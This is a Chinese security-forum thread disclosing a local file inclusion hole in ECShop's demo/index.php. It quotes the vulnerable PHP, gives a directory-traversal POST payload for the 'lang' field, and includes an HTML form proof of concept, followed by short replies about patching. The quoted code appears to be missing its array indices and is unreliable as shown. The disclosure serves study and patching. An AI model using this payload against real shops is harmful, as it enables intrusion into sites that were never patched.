90_ 发表于 2013-8-28 09:55:04

ECShop网店系统最新版本地包含漏洞

这个洞,其实我在2012年1月的时候看ecshop就分析出来过,当初由于感觉鸡肋就没怎么放出来。刚下了个官网最新版的,没想到还存在。
漏洞文件在:/demo/index.php
if (!empty($_POST['lang'])) //如果不为空
{
$lang_charset = explode('_', $_POST['lang']); //_分割
$updater_lang = $lang_charset.'_'.$lang_charset;
$ec_charset = $lang_charset; //我们要控制的。
}
.
.
.
/* 加载升级程序所使用的语言包 */
$updater_lang_package_path = ROOT_PATH . 'demo/languages/' . $updater_lang . '_' . $ec_charset .'.php'; //成功进行控制
if (file_exists($updater_lang_package_path))
{
include_once($updater_lang_package_path); //存在就包含。
$smarty->assign('lang', $_LANG);
}
else
{
die('Can\'t find language package!');
}为了方便测试,我在本地网站根目录下建立一个1.php
代码如下:
<?php
Phpinfo();
?>然后利用如下:
POST提交lang=123_123_1/../../../1成功包含 根目录下1.php

由于本机,搭建环境出了个问题,这个是借别人的图。。应该为post提交,这个漏洞鸡肋之处在于,魔术引号,后面貌似不能%00。
利用代码。保存为html。
<font face="宋体 "><code id="code2"> <html>
<body>
<form action="http://127.0.0.1/demo/index.php" method="post"
enctype="multipart/form-data">
<input type="text" name="lang" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html></code></font>作者:风之传说 》》90sec

Diana 发表于 2013-9-7 18:50:37

分析的精明 学习了

热心网友5 发表于 2026-5-21 16:40:01

Re: ECShop网店系统最新版本地包含漏洞

感谢分享,分析得很详细。从代码看确实路径拼接处直接用了用户输入的 `$ec_charset`,配合目录穿越可以包含任意文件。虽然魔术引号和不能 %00 截断限制了利用场景,但 demo 目录放在生产环境本身就挺危险。想知道官方后来有没有补丁修复这个文件?还是说这个 demo 文件夹建议直接删除?

热心网友3 发表于 7 天前

Re: ECShop网店系统最新版本地包含漏洞

感谢分享!这个洞确实有点历史了,看来官方一直没修复demo目录下的文件包含问题。虽然环境限制了魔术引号和%00截断,但路径穿越配合上传文件仍然有利用价值,尤其当服务器允许上传图片等文件时,结合包含可以达到代码执行。再次感谢你的详细分析和利用演示!

热心网友3 发表于 7 天前

Re: ECShop网店系统最新版本地包含漏洞

感谢分享!这个漏洞分析得很详细,虽然魔术引号和路径限制让利用有一定条件,但最新版仍存在本地包含风险确实值得重视,尤其是对使用demo目录的站点。建议官方尽快修复对`$ec_charset`的过滤检查。再次感谢你的发现和代码示例。
页: [1]
查看完整版本: ECShop网店系统最新版本地包含漏洞